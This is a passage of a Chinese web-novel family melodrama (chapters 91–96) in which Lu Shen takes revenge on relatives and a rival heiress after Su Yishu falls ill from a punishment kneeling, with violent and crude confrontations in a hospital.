呵,只可惜,她苏亦姝也玩过这招……
第九十一章 苏亦姝,发高烧
海边别墅。
陆慎靠在沙发上,看着手中平板电脑的屏幕,屏幕上是从社交媒体上截取下来的,关于苏亦姝和陆彦在甜品店的绯闻。
陈淮推门进来,神色有些凝重。
“慎哥,老宅那边传来消息,苏小姐和陆玥都被罚跪祠堂,要跪到明天天亮。”
“咔嚓”一声,陆慎手中的平板电脑屏幕被硬生生按出了裂纹。
“跪祠堂?”陆慎猛地站起身,嗓音低沉得骇人,“老爷子亲口罚的?”
“是。起因是陆玥在正厅辱骂苏小姐,苏小姐动手打了她。赵西双当时也在场,没少在旁边煽风点火。”
陈淮快速地说着,明显的感觉到客厅的气温骤降。
“赵西双。”陆慎冷笑一声,那笑不达眼底,充满了肃杀之气,“她算个什么东西?”
他以前不动赵西双,是觉得没必要跟一个跳梁小丑计较,更因为留着她还能牵制陆彦,狗咬狗。可现在,这女人竟然敢把手伸向苏亦姝,还引导江城的**去攻击她,简直是自寻死路。
“传话下去。”陆慎慢条斯理地扣上西装外套的扣子,“明天上午赵氏看中的那个城西招标项目,不惜一切代价,截下来。”
陈淮一惊,“慎哥,那是赵家筹备了半年的项目,势在必得,如果截了,恐怕我们要付出不小的代价。而且,截下来,也不一定能吃的下去……”
陈淮有些担忧……
陆慎看向他,眼底是势在必得。“我敢截,自然就能吃的下去,海外的AK集团,我们已经合作了,接下来,这个城西的项目,就跟AK一起做……”
“AK集团?我去,慎哥牛啊,那明天城西的项目,我必须给截下来。”陈淮大笑着,一脸的兴奋。
陆慎眼神阴鸷,“既然赵西双这么喜欢****,那我就让她尝尝,失去家族庇护后,她那些‘名媛光环’还剩多少。”
吩咐完赵家,陆慎的目光转向了窗外那沉沉的夜色,那是老宅的方向。
“还有老宅。老爷子最近是不是太闲了,才会有心思玩这种‘各打五十大板’的平衡术?”
陆慎拿出一根烟点燃,火光在他指尖跳跃,“通知公司那边,把擎天那几个搁置的高风险项目放出去,引起股东会的恐慌。另外,把陆彦回国后私下挪用海外资金的证据散播一点给那几个老顽固。他不是想维持温润如玉的形象吗?我让他这辈子都翻不了身。”
他要给擎天添一把火,烧得老爷子焦头烂额,看他还有没有闲情逸致在那**心计。
次日清晨。
江城的商业圈被两枚重磅**炸开了锅。
第一,赵氏集团志在必得的城西地块,竟然在最后一秒被一个神秘注资的空壳公司高价抢走,赵家股价瞬间跌停。
第二,擎天集团内部传出流言,称四少爷陆彦在海外期间存在严重的财务违约,且回国后的几个决策导致公司直接亏损了数亿。
这一连串的组合拳,打得众人措手不及,而始作俑者陆慎,此时正坐在书房看着电脑上的股价。
陆家老宅,祠堂。
清晨的薄雾尚未散尽,空气中透着钻心的凉。
福伯带着两个佣人,推开了沉重的木门。
“玥玥小姐,大少夫人,天亮了,老爷子让……”
福伯的声音在看清屋内景象的一瞬戛然而止。
原本该跪在左侧的陆玥早已不见了踪影,空荡荡的蒲团散乱在一旁。
而右侧,苏亦姝依旧维持着跪立的姿势,脊背挺得笔直。
“大少夫人?”福伯心头一跳,急忙走近。
苏亦姝没有回应,甚至连眼睫都未曾颤动一下。
福伯蹲下身子,大着胆子碰了碰她的肩膀,“少夫人,可以回去休息了……”
指尖触碰到的皮肤滚烫如火,苏亦姝的身子受力后微微一晃,软绵绵地朝着一侧倒去。
福伯眼疾手快地扶住她,这才发现她双颊绯红,呼吸急促而杂乱,整个人早已陷入了深度昏迷。
“快!快喊人!少夫人发高烧了!”
西侧院内。
陆家的私人医生满头大汗地收起听诊器,面色凝重地看向闻讯赶来的老爷子和众人。
“老爷子,大少夫人之前的车祸伤及了底子,手臂和身体机能都还没彻底恢复。这祠堂寒气重,她在那儿跪了一整夜受了寒,导致旧伤复发引起高烧,情况很不乐观,必须马上送医院!”
“什么?!”老爷子拄着拐杖的手狠狠一颤,脸色
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阴沉得能滴出水来。
他原本只是想平衡各房势力,敲打一下苏亦姝的性子,却没想到会把人折腾进医院。
老爷子的目光在大厅里环视一圈,最后死死锁定在三房夫妻身上,嗓音低沉得可怕。
“陆玥呢?我不是让她陪着亦姝一起跪吗?她人死哪儿去了!”
何婉如吓得浑身一哆嗦,躲在陆子勋身后,支支吾吾地开口。
“爸……玥玥从小身体弱,我瞧着后半夜天实在太冷,怕她冻坏了,就让人先把她接回去休息了……我想着亦姝身体好,多跪一会儿也没……”
“混账!”
老爷子扬起拐杖,狠狠地抽在面前的茶几上,声音震得众人心头一颤。
“你心疼女儿,就可以私自违抗我的命令?”
就在这时,福伯匆匆跑进来,在老爷子耳边低语了几句。
老爷子听完,整个人气得身形不稳。除了苏亦姝昏迷,刚才传来的擎天股价暴跌、陆彦海外账务**、赵家城西项目被截,每一桩每一件都像是一记重锤。
他心里清楚,这些事情的背后,指不定有陆慎的手笔。
尽管这样,但是他心里没有半点对陆慎的怒意。
“好,好得很!你们一个个真是不见棺材不掉泪!”
老爷子指着三房,厉声喝道:“陆子勋,从现在起,暂停你在擎天的一切职务,回家闭门思过!立刻让陆玥滚去祠堂,给我跪着!派人给我盯着,没有我的吩咐,谁敢放她出来,直接滚出陆家!”
“还有,让陆彦立刻滚过来见我!海外分公司那几亿的窟窿,他要是解释不清楚,就直接滚回国外去!”
老宅内瞬间噤若寒蝉,谁也没见过老爷子发这么大的火。
老爷子转过头,冷冷地看向坐在一旁脸色发白的程丽梅。
“丽梅,亦姝这是受了这个罪,说到底是我陆家的原因。她是阿钦的妻子,你这个做婆婆的,现在就跟着救护车去医院,亲自照料!若是亦姝有任何意外,你也难辞其咎!”
程丽梅紧紧攥着手里的帕子,指甲抠进肉里。
她一万个不情愿去伺候那个让她厌恶的儿媳妇,但在老爷子压迫感的目光下,只能咬牙应道:“……是,爸。”
第九十二章 母子对峙
江城第一医院。
陆慎穿着一身纯黑的西装,裹挟着外面的寒气和掩盖不住的怒火,步履匆匆。
陈淮紧跟其后,低声汇报,“慎哥,苏小姐进了特护病房,程丽梅在那儿守着呢。老爷子这次动了真格,陆彦和三房都被处置了,但这恐怕不够……”
周轩也紧跟着后面,面色凝重。
苏小姐对陆总的重要性,他们都清楚。这次,老爷子真的是动了陆总的大动脉。
看来擎天以及陆家,应该会震荡一段时间。
陆慎猛地停住脚步,透过病房门的玻璃,他看到了躺在病床上,了无生气的苏亦姝。
她紧闭着眼睛,躺在病床上,看上去那么脆弱。
而病床旁,程丽梅正一脸嫌恶地看着苏亦姝,眼里闪烁着算计。
“砰!”
病房门被陆慎一脚踹开。
程丽梅吓得惊叫一声,看清来人是陆慎后,神色有些紧张。
“阿慎,你……”
“滚。”
陆慎的声音没有任何起伏,却让程丽梅感到了透骨的冷。
“陆慎,你这是什么态度?”
陆慎猛地跨前一步,修长的手指死死掐住程丽梅的脖子,眼眸里泛着冷漠又凶狠的光。
“我再说一遍,滚出去。趁我还没打算在医院弄死你之前。”
“我是……你亲妈!”
程丽梅被他眼中的杀意震慑,但还是不甘心……强咬着牙。
“亲妈?我亲妈早就**……所以……”
程丽梅清楚的看到,陆慎看她的眼神,夹杂着杀意,是真真实实存在的杀意!
陆慎松手,她整个人都在颤抖。
病房内,空气氛异常的凝重,只有心电监护仪发出单调而机械的滴答声。
程丽梅大口大口地喘着粗气,瘫坐在椅子上,刚才被陆慎掐过的地方火辣辣地疼,五个指印清晰可见。
她看着陆慎,心里十分复杂。后悔当初生下他,更后悔,没有送走。否则,现在也不会落到这一步。又转念想,若是当初,自己并未那样对他,现在是不是就不一样了?
不,不会的,这个孽子,骨子里就是冷漠的。
程丽梅坚持着自己的想法,只是后悔,当初生下他……
只是此时,她心底对陆慎的恐惧让她身体有些虚软,但绝对不能妥协!
骨子里的虚荣和控制欲却死死撑着她,不让她退后一步。
“你……你这个逆子!”程丽梅颤抖着指向陆慎,强撑着拔高音量。
“你居然为了这个女人,想掐死你亲妈?陆慎,你清醒一点!她是你亲大哥的妻子!你跟她纠缠不清,不仅毁了你自己,也会毁了整个陆家!”
陆慎像是听到了什么天大的笑话,喉间溢出一声极尽低沉的笑。
他缓缓收回手,从兜里掏出一块手帕,极尽厌恶地擦了擦刚才碰过她的手指,随后将帕子丢进垃圾桶。
“我早就清醒了。”
他转过身,居高临下地俯视着程丽梅,眼中充满了讥讽。
“从你为了巩固自己在陆家的地位,亲手把我仍在福利院门口的那一刻起,我就清醒得不能再清醒了。程丽梅,别拿‘母子情分’来压我,你也配?”
“你——!”程丽梅被撕开了最后一层遮羞布,脸色由白转青。
“是,当初我是扔了你,那是我不对。但是,这不是你纠缠你大哥妻子的理由。陆慎,我告诉你,苏亦姝只会是你大嫂,陆家的族谱上清楚记着呢,你改变不了!”
“改变不了?”陆慎步步紧逼,强大的气场压得程丽梅快要窒息。
“我为什么要改变?我只要跟她在一起,她是我大嫂或者是我什么人,都无所谓。毕竟,那些条条框框对我来说,根本不值一提。”
陆慎眼眸发红,眼底的冰冷让人胆颤。“今日,她所遭受的一切,我会原封不动地让伤害过她的人全部百倍千倍的还回来!还有,你别以为我不知道你在想什么,无非就是算计着怎么利用她的病博取老爷子的同情?为你自己谋福利罢了。”
陆慎嘴角的笑意愈发瘆人,那双猩红的眸子死死锁住程丽梅,压低了声音,像是在耳语:
“你怕我跟她在一起坏了名声?你更怕的是,如果我和她的关系曝光,老爷子会连带着把你这个管教不严的婆婆赶出家门,让你失去现在拥有的一切,对吗?”
程丽梅的心事被精准击中,她的眼神开始闪躲,却依旧坐在那里一动不动。
“无论你怎么想,只要我还没死,我就绝对不会离开这间病房。陆慎,今天你敢在这里对我不敬,明天全江城的人都会知道你陆慎是个什么样的人!”
“全江城的人?”陆慎突然收敛了笑意,神色变得冷漠如刀,“你觉得,我会在乎那些人的看法?”
他朝门外使了个眼色。
陈淮和周轩立刻会意,有些为难,却还是上前一步,一左一右地站在了程丽梅身侧。
“陆夫人,请吧。”陈淮面无表情地做了个请的手势。
“你们敢!”程丽梅尖叫着抓紧椅子的扶手,“陆慎,你敢动我一下试试!老爷子就在后面,他马上就到了!”
“老爷子现在正忙着处理陆彦
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海外的烂账和赵家的烂摊子,没空理会你这种琐事。”
陆慎冷笑一声,语气里带着浓浓的威胁,“程丽梅,我的耐心有限。你是想体面地走出去,还是想让你这辈子最在乎的名誉、地位,一扫而空?想不想看看江城媒体是如何报道你,程丽梅,陆家大夫人如何给自己即将成婚的长子床上塞人的?就为了控制自己儿子……”
程丽梅瞬间脸色苍白,不可置信地看着陆慎。
他,他怎么会知道的?
“想知道我为什么会知道?呵,我知道的,不止这么多呢……就比如,你威胁陆钦不得娶苏亦姝的事情……还有,威胁陆钦给程家平账在……”
“你……你这个疯子!”程丽梅气得声音都在发颤,她第一次意识到,自己从未看透这个儿子,更别说控制他……
更清楚地认识到,这个儿子的恐怖之处!
明明一切都掌控着,但是,他却什么都不说,偏偏躲在一边,看着人垂死挣扎。
陆慎冷冷地看着她,没有再多说一个字,那股压抑的杀气逼得程丽梅最后一点心理防线终于崩溃。
她恨恨地跺了跺脚,拎起名牌包,临走前还不忘阴毒地看了病床上的苏亦姝一眼,压低声音道:“陆慎,你护得了她一时,护不了她一世。只要她还是陆家长孙媳妇的身份,你们终究,还是不能在一起!”
直到程丽梅落荒而逃的脚步声消失在走廊尽头,陈淮和周轩也出去了,顺带着关上门,陆慎才缓缓坐到了病床边。
他看着苏亦姝因高烧而变得通红的脸颊,那股狂躁的怒火终于被满腔的心疼所取代。
“苏亦姝,对不起……”
他颤抖着手,想要抚摸她的额头,却在即将触碰到的那一刻停住了。
苏亦姝在昏迷中不安地扭动了一下,呼吸变得短促,细细密密的汗珠布满了她的额角。
“不要……车子……有烟……”
她呢喃着梦呓,声音极小,却让陆慎瞬间屏住了呼吸。
陆慎凑近她的唇瓣,想要听得更清楚,却见苏亦姝猛地睁开了眼睛,眼底没有丝毫清明,只有无尽的惊恐和绝望。
她一把抓住了陆慎的衣领,力气大得惊人。
“陆慎……快跑……”
苏亦姝死死地盯着他,眼角的泪水顺着太阳穴滑进发际线,继续惊恐地喊着。
“车底有……有**……陆慎……陆慎快跑……快跑……”
陆慎的大脑在这一瞬间“嗡”的一声炸开了。
胸腔被满满的欢喜和爱意填满。
原来,她是在意自己的……
第九十三章 老爷子的盘算
病房外,走廊的灯光透着一股冷冽的白。
陈淮透过门上的观察窗往里瞧了一眼,只见陆慎正紧紧回握着苏亦姝抓他衣领的手,那动作极其小心,生怕弄疼了苏亦姝。
“慎哥这辈子,算是彻底地栽在苏小姐手里了。”
陈淮收回目光,靠在冰冷的墙壁上,无奈地叹了口气。
“你看苏小姐刚才那反应,分明是烧糊涂了,嘴里喊的却全是让慎哥快跑。这苏小姐要是真有个三长两短,慎哥那性子,还不得跟着疯掉?”
周轩也看着那扇紧闭的门,神色复杂地摇了摇头。
“疯是肯定,这还不可怕,可怕的是要毁天、灭地。”
作为陆慎身边最亲近的人,周轩比谁都清楚陆慎对苏亦姝的爱有多深。
那不是普通的男女之情,那是从年少青涩时就种下的执念,早就已经偏执到了骨子里。
两人正低声交谈着,走廊尽头传来一阵急促的脚步声。
方华睿过来了。
他原本在方思荷病房里,听到保镖说苏亦姝进医院了,这才过来。
“亦姝怎么样了?”方华睿大步走上前,作势就要推开病房门。
“方少留步。”周轩眼疾手快,侧身挡在了门口,语气虽然客气,却透着一股不容置疑的强硬。
“陆总现在正陪着苏小姐,这会儿怕是不方便见客。方少还是先请回吧,等苏小姐情况稳定了,我们自然会通知您。”
方华睿动作一僵,抬眼看向周轩,又越过他的肩膀看向那扇紧闭的门。
他自嘲地勾了勾唇角,眼底依旧是止不住的担忧,但还是点点头。
“告诉陆慎,别把人逼得太紧。”方华睿收回手,语气清淡,却带着一丝警告。
说完,他深深看了一眼病房的方向,转身消失在走廊尽头。
与此同时,陆家老宅。
原本老宅的气氛就有些异常,而现在,更是透着压抑和窒息感。
谁也没想到苏亦姝会病倒,更没想到,分公司还有这么一茬子事情。
陆彦跪在坚硬的大理石地面上,脊背挺得笔直,依旧维持着那副温润谦卑的模样。
在他面前的茶几上,放着海外账本。
“爷爷,海外分公司的财务问题,孙儿确实有失察之罪。但我归国心切,将具体事务交给了信任的经理人,却没想到他竟然胆大包天到这种程度,等我察觉不对时,账目已经不可收拾了。”
陆彦低垂着头,声音诚恳中带着一丝自责。
“目前,孙儿已经将涉事的财务总监移交法办,也处置了那几个中饱私囊的**之人,绝不会让公司蒙受更大的名誉损失。”
主位上的老爷子,一双如鹰隼般的眸子死死盯着陆彦。
他早就派人调查过了,确实有人出来顶包,账面上也处理得滴水不漏。
但作为在这个圈子里摸爬滚打了一辈子的老人,他太清楚这些商业陷阱了。那个跳出来的替死鬼到底是不是陆彦的人,这根本不重要。
重要的是,陆彦的能力让他有了质疑!
“失察?”老爷子冷哼一声,将手中的檀木串珠重重拍在桌上,“身为决策者,一句失察就能抵消数亿的亏损?阿彦,你太让我失望了。”
老爷子心里很清楚,陆彦的心机极深,野心很大。他不反对野心大有手段,但前提是,野心能匹配得上能力才行。
现在的陆彦,不适合接手擎天。
“从明天起,你手头所有的项目全部移交给副总裁。”老爷子语气冰冷,宣布了对他的变相停职。
陆彦一愣,垂在身侧的双手紧紧握拳。
“你先回去吧,至于接下来的事情,我会重新安排。”
“是,爷爷。”陆彦离开了。
在陆彦离开后,老爷子叹了口气。
“太弱了。在阿慎面前,连一个回合都走不过去。”
站在一旁的福伯一愣,没有接话。
但是,以他跟在老爷子身后这么多年的经验来看,老爷子这是安奈不住,要找三少爷了。
“去,把阿慎叫回来吧。”老爷子闭上眼,揉着发紧的眉心,声音透着一股子苍老后的疲态。
陆彦的事让他意识到,陆家这一代里,能在狠辣与能力上稳压众人一头的,终究只有陆慎。
像极了年轻时候的他。
然而,不到半小时,福伯便面色难看地折返了回来。
“老爷,三少爷那边……拒绝了。”福伯低着头,声音压得很低,“三少爷说,他现在没空管擎天的烂账,说……既然当初走的时候没带走陆家一分一毫,现在陆家是死是活,也与他无关。”
“啪!”
老爷子猛地睁开眼,手重重拍在红木扶手上,震得茶盏响。
“逆子!他这是在报复我!他在拿擎天的前途跟我拿乔!”老爷子气得胸口剧烈起伏,混浊的眼底满是怒火。
福伯赶紧上前替老爷子顺气,叹息着劝慰道:
“老爷,您消消气。其实三少爷拒绝,也在情理之中。当时他离开老宅时,您为了堵住悠悠众口,没给他半分面子,甚至断了他所有的后路。如今,若是您一招手他就回来
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,家里二房三房那些人,背地里指不定怎么编排他呢。以三少爷那心高气傲的性子,哪里受得了这个委屈?”
老爷子冷哼一声,身体重重靠回椅背。
他何尝不知道陆慎是在等他低头?可他是陆家的天,这辈子从未向任何人低过头,更何况是对自己的亲孙子。
“既然他想耗,那就耗着吧。陆家离了他,难不成还真能倒了?”
老爷子沉默良久,突然话题一转,眼神深邃地看向福伯。
“阿域呢?他的腿不是去国外做康复治疗了吗?恢复得怎么样了?”
陆域虽不似陆慎那般锋芒毕露,却胜在稳重听话,一直是老爷子心里的备选人之一。
“回老爷的话,之前跟那边的医生通过电话。二少爷恢复得确实不错,已经能扶着扶手短距离行走了,再要不了多久,应该就能彻底站起来了。”
陆域前两天去了国外做康复治疗,没让陆子谦和柯沁陪同。
老爷子听闻,原本阴鸷的脸色终于透出了一丝久违的松动,点了点头。
“那就好。让阿域好好配合治疗,等他彻底恢复了,爷爷还要靠他呢。到时候,也让某些人知道,这陆家,不是非谁不可。”
福伯应声退下,心里却明白,老爷子这是在给陆慎立对手,也是在给自己留后路。
与此同时,医院。
陆慎坐在病床前,手里攥着那张从陆彦账本里截获的私人信件残页,眼底晦暗不明。
苏亦姝依旧在低烧,虽然清醒了一瞬,但很快又陷入了沉沉的睡梦。
只是这一次,她没有再喊“快跑”,而是眉头紧锁,似乎在极力忍受着某种巨大的痛苦。
“陆总,老宅那边有消息传来,老爷子那边把主意打到陆域身上了。”周轩走进来,压低声音汇报。
陆慎连眼皮都没抬,骨节分明的手指轻轻抚过苏亦姝汗湿的发鬓,语气散漫却透着彻骨的寒意。
“陆域?一个断了腿又接上的残废,也想来蹚这浑水。老头子真是老糊涂了,以为随便找个人就能当提线木偶。”
“那我们要不要干预一下康复治疗那边?”周轩做了个抹脖子的手势。
“不必。”陆慎眼神一戾,“让陆域回来。没有对手的博弈太无趣。他既然想当老爷子的新宠,那就让他亲眼看看,这陆家的大门,进得来,未必出得去。”
说着,陆慎看向苏亦姝,眼神温柔,轻笑了一声。“再一个,他跟她之间还有交易不是?得让他回来完成呀……否则,到时候她又得跟我闹了……”
第九十四章 烂B一个
医院,VIP特高级病房。
苏亦姝缓缓睁开眼,视线由模糊变得清晰。
第一眼,,看到的就是是陆慎那张线条深邃、如刀刻般的侧脸。
他不知在那儿坐了多久,周身萦绕着未散的烟草味和浓重的疲惫,却在感觉到她睁眼的一瞬,看了过来。
两人四目相对。
病房内安静得只能听到彼此的呼吸声。
苏亦姝微微蹙眉,眼底没有重获新生的喜悦,反而透着一抹冷意和排斥。
陆慎敏锐地捕捉到了她眼底的厌恶,心脏猛地一缩。
可只要一想到她发着高烧、在梦里撕心裂肺地喊着让他“快跑”,叮嘱他的那些断断续续的话,胸腔里那股烦躁也就随之消散,取而代之的是欣喜。
这个女人,哪怕清醒时恨他入骨,潜意识里还是在意他的。
“醒了?”陆慎率先打破了这份僵持的沉寂,嗓音沙哑得厉害,却放柔了语调,“有没有哪里不舒服?头还疼不疼?”
说着,他自然地伸出右手,想要去探她额头的温度。
然而,苏亦姝却脑袋猛地往旁边一偏,避开了他的触碰。
陆慎的手僵在半空中,眼眸暗了暗,但并没有收回手。
他霸道的强行将手掌覆在了她的额头上。
“别动。”低声呵斥,带着极大的强硬。
掌心触碰到她的皮肤,已经退了烧,不再是那副吓人的滚烫。
感觉到体温正常,陆慎那颗悬了一夜的心才终于落了地,撤回手,顺势替她理了理散乱的鬓发。
苏亦姝咬了咬苍白的嘴唇,说道:“我已经没事了,还请离开我的病房。”
苏亦姝在看到陆慎的一瞬之后,便看出自己在医院的病房里。
虽然是VIP特级病房,但那消毒水味,还是能闻得到。
陆慎原本稍缓的神色瞬间阴沉了下来。
他微微俯身,双手撑在她的身体两侧,阴影瞬间将她整个人笼罩。
那股熟悉的、充满压迫感的侵略气息再次将苏亦姝紧紧包裹。
陆慎自嘲地勾起嘴角,“苏亦姝,你真是一点良心都没有。你现在醒过来的第一句话,就是让我走?”
苏亦姝并不畏惧他的怒火,反而仰起头直视他那双猩红的眸子。
就在这时,苏亦姝剧烈地咳嗽起来。
陆慎慌了下,伸手想要给她顺气,但是,苏亦姝却抗拒地厉害。
“咳咳咳……你……咳咳,你给我走……”
陆慎担心她身体,只好说道:“好,我走,你别激动!”
陆慎被苏亦姝咳得心惊肉跳,纵然心底有万般不甘与偏执,到底还是败在了对她身体的怜惜上。
他沉着脸退后几步,深深地看了看病床上那张苍白的没有一点血色的小脸,转身大步走出了病房。
“让人照顾好她。”
对守在门口的周轩丢下这句话,陆慎便径直走向电梯。
刚出医院大门,深秋的冷风灌入衣领,却压不住他胸腔里那股横冲直撞的躁郁。
就在他准备上车时,突然冲出一道纤细的身影,挡住了他的去路。
“阿慎!”
陆慎脚步一顿,眉头拧成了一个死结。
眼前的赵西双早已没了往日名媛贵女的端庄。
她穿着一身有些褶皱的长裙,眼眶红肿,显然是哭过很久,那双原本透着算计的眼睛,此刻透着几分楚楚可怜。
“阿慎,我等了你三个小时,你终于出来了。”
赵西双想要伸手去拉陆慎的衣袖,却被他侧身避开了。
陆慎冷冷地睨着她,眼底的嫌恶毫不掩饰。
“有事说事。”
赵西双被他嫌恶的态度刺得脸色惨白,她凄凉地笑了一声,声音颤抖。
“阿慎,你一定要对我这么残忍吗?我做这一切都是为了谁?如果不是因为我爱你,我何必去针对苏亦姝?我只是想让你看看清楚,那个女人除了会给你带来麻烦和骂名,她还能给你什么?”
“我最后警告你一次,‘苏亦姝’这三个字,不配从你嘴里说出来。”
陆慎周身萦绕
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着冷厉,眼神阴鸷得可怕,“你的爱,在我眼里连路边的垃圾都不如。赵西双,你还真恶心,吊着陆彦,然后来跟我说这些恶心的话?觉得自己魅力大?还真是都不照镜子的啊。”
赵西双被他眼底的杀意震慑得**了一步,却又像是豁出去了一般,猛地仰起头。
“是!我是答应跟陆彦订婚,可我心里装的人一直是你啊!只要你点点头,我可以立即跟陆彦取消订婚,还可以帮你彻底吞并三房。只要你……只要你别再针对赵家,别截走城西的那个项目。阿慎,那是我负责的项目……求求你了……”
说到最后,赵西双几乎是哀求地拽住了车门,语带哭腔。
“求求你,把城西的项目还给我好不好?只要你答应,你要我做什么都可以……哪怕是没名没分地跟着你,我也愿意!”
陆慎像是听到了什么滑稽的冷笑话,突然低笑出声。
他缓缓俯身,修长的手指捏住赵西双的下巴,力道有些重。
“做什么都可以?”
陆慎凑近她,眼底满是戾气与嘲讽:“赵西双,你这张脸,看着就让人倒胃。你就算脱光了站在我面前,抱歉,我也硬不起来……太脏了……国外的那些大JB捅出来的玩意儿,我不好……那一口……烂B一个……”
“你……”赵西双如遭雷击,整个人僵在原地。
“想要城西的项目?”陆慎猛地甩开手,从兜里掏出一张湿巾,慢条斯理地擦拭着手指,“既然你敢动苏亦姝,就该想到这个代价。至于你——”
陆慎坐进车里,落下车窗,嘴角勾起一抹残忍的弧度。
“赵西双,来日方长……你倚仗的,无非就是赵家在江城的地位和财力……要是没了这些呢……”
“开车。”
随着发动机的轰鸣声,黑色的迈巴赫绝尘而去。
赵西双颓然地跌坐在地上,看着那远去的车影,眼底最后一丝爱恋终于被滔天的怨恨所取代。
“陆慎……你狠……你真的好狠……”
第九十五章 都是恶心的豺狼
医院。
苏亦姝在特护病房里待了三天,原本苍白得近、乎透明的脸色,在精心的照料下终于透出了一丝血色。
只是那双眼,依旧平静得像是一潭死水,惊不起半点涟漪。
明天就是出院的日子,她正站在窗口看着外面凋零的落叶出神,病房门却被人粗暴地推开了。
来人是一脸焦躁的苏振东。
因为苏氏集团近期陷入财务困窘,原本指望程丽梅答应的陆家来帮忙,可谁知陆家那边迟迟没有动静,甚至连之前谈好的几个合作案都被对方给解约了。
苏振东在公司里被债主逼得像热锅上的蚂蚁,这会儿终于按捺不住,杀到了医院。
“苏亦姝,你长本事了是不是?”苏振东一进门,劈头盖脸就是一通质问。
“我问你,陆家答应帮忙,怎么一直都没任何动静?是不是你在中间搞了什么鬼?你别忘了,你姓苏!苏氏倒了,对你有什么好处?”
苏亦姝缓缓转过身,看着这个所谓的父亲。
记忆中那个虽然严厉却还算体面的男人,此刻在利益的驱使下,面目狰狞得令人作呕。
她讥讽地勾起唇角,声音一如既往地清冷。
“谁答应你的你去找谁,我记得,我并未答应。或者……”苏亦姝故意停顿了下,“你可以去找让你跟着投资的人。赵西双不是跟你保证稳赚的吗?怎么不去找她??”
“你……”苏振东被噎了一下,随即老脸通红地吼道,“你是故意看我笑话是不是?苏亦姝,你还有没有良心?就这样看着苏氏倒掉?那也是你母亲的心血!”
“闭嘴。”苏亦姝冷冷吐出两个字,眼神里满是厌恶,“现在跟我谈我母亲的心血?苏振东,你还真是一如既往地不要脸!我告诉你,苏氏的死活,跟我没有半点关系。别说我没拦着,就算我拦了,那也是你应得的报应。还有,你不配提我妈妈!”
“畜生!你这个吃里扒外的东西!”苏振东气急败坏,猛地冲上前,扬起手就要扇过去,“我生你养你,就是为了让你来气死我的?看我不打死你这个逆女!”
苏亦姝站在原地,不闪不避,那张清冷的脸上没有丝毫畏惧。
她微微仰头,语速极慢,却带着一股让人不寒而栗的狠劲。
“你打啊。苏振东,你有种今天就打下去。我现在是陆家的长房长媳,你动我一下,我就让陆家把苏氏最后的那点皮**都扒干净。我让你这辈子、下辈子,都别想在江城爬起来!”
苏振东的手僵在半空中,剧烈地颤抖着。
他看着眼前这个女儿,那眼神里的狠劲和冷漠让他感到一阵心惊。
他太清楚苏亦姝这话的后果了,还有那个陆慎,虽然被陆家赶出去,但是,谁知道陆老爷子怎么想?若是真落下一巴掌,怕是明天苏家的大门都得被拆了。
“你……你这个疯子!”苏振东收回手,嘴里却还不干不净地骂着,“找了几个野男人撑腰就觉得自己了不起了?你不过是个克夫的烂货,等陆家玩腻了你,我看你还能狂到什么时候!”
苏亦姝听着这些污言秽语,内心毫无波动,甚至还想笑。。
“随你怎么骂,反正苏氏的账户里,一分钱都不会多。”
苏振东忍无可忍,他那点脆弱的自尊心瞬间引爆,再次扬起手。
然而,这一巴掌还没落下,他的手腕就被一只冰冷且有力的手死死扣住了。
方华睿不知何时出现在病房门口,一脸冰冷。
他猛地一甩手,苏振东一个踉跄,险些摔倒在地上。
苏振东稳住身形,看清来人是方华睿后,心头猛地一跳。
方家在江城虽然低调,但在江城的地位,还是非常高有影响力的。
他打量着苏亦姝,眼珠子快速转动。
他并不知道苏亦姝和方思荷的闺蜜情,只当苏亦姝又是靠着那张脸勾搭上了方家的大少爷。
这死丫头,命还真是好得让人嫉妒,认识的人一个比一个有身份。
“方少,误会,都是误会。”苏振东立刻换上一副谄媚的嘴脸,“我这是跟亦姝开玩笑呢,这孩子从小脾气倔,我这做父亲的也是一时心急……”
方华睿理都没理他,甚至连一个眼神都没给,只是径直走到苏亦姝身边,低声询问:“有伤到吗?”
苏亦姝摇了摇头,看也没看苏振东一眼。
眼见方华睿把自己当成空气,苏振东也不敢发作,只能讪讪地笑了两声。
“那……既然亦姝有方少照顾,我就先走了,亦姝,你好好休息,爸爸改天再来看你。”
说
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完,他像是逃命一般离开了病房。
病房内再次恢复了安静。
方华睿看着苏亦姝,眼神里闪烁着复杂的光芒,有心疼,也有某些欲言又止的挣扎。
“他一直都这么对你?”方华睿问。
“习惯了。”苏亦姝语气平静得像是在说别人的故事,她抬起头,眼神中终于有了几分急切,“思荷怎么样了?她醒了吗?”
方华睿的睫毛颤了颤,避开了苏亦姝的视线。
“还是老样子。”他叹了口气,语气低沉,“虽然各项指标都在恢复,但意识依旧没有苏醒的迹象。你先照顾好自己,思荷那边,我会照顾着。”
苏亦姝抿着嘴,看着他。“方大哥,我想去看看思荷?想跟她说说话……”
方华睿看得出来苏亦姝心情不太好,便点了点头。
次日清晨。
苏亦姝的出院手续办得很利索。
然而,当她走出病房门时,迎面撞上了脸色铁青的程丽梅。
福伯跟在程丽梅身后,神色有些复杂,见到苏亦姝,微微颔首。
“少夫人,车已经在楼下等候了。”
程丽梅一身墨绿色旗袍,发丝梳理得一丝不苟,却掩盖不住眼底那抹浓浓的怨毒。
自从那天陆慎在病房里差点掐死她,程丽梅这两天几乎没合过眼。
她怎么也想不到,那个从福利院找回来的、流着她血脉的儿子,竟然真的为了这么个寡嫂,动了弑母的念头!
“怎么,在医院待了几天,连陆家的规矩都忘了?”
程丽梅冷哼一声,看向苏亦姝的眼神恨不得剜下一块肉来,“见到婆婆,连声招呼都不打……”
苏亦姝拢了拢身上的大衣,神色清冷如旧。
福伯见状,连忙上前一步,状似无意地拦在两人中间,低声道:“夫人,少夫人身体刚恢复一点,您也不想再看到她出什么事吧。而且,这里是医院,媒体随时可能出现。老爷子还在老宅等着,若是迟了,怕是不好交代。”
提到老爷子,程丽梅那只扬起的手硬生生地垂了下来。
她狠狠剜了苏亦姝一眼,转身朝电梯走去。
若不是老爷子强制她过来,她才不会过来看这张让人倒胃口的脸。
苏亦姝深吸一口气,压下心头那股翻涌的恶心……
第九十六章 趁机离开
老宅正厅。
老爷子看着面色苍白却依旧脊背挺直的苏亦姝,混浊的眼底难得浮现出一丝真实的愧疚。
这孩子在祠堂跪得去了半条命,说到底,是他这个当家长的失职。
“亦姝,这次让你受委屈了。”
老爷子放下茶盏,当着众人的面,语气温和了许多,“你是个懂事的,受了苦也不张扬。你说吧,想要什么?只要爷爷能办到的,尽管开口。”
正厅内,众人的目光齐刷刷地钉在苏亦姝身上。
何婉如绞着帕子,眼里满是不甘;
程丽梅则冷着脸,像是看戏一般。
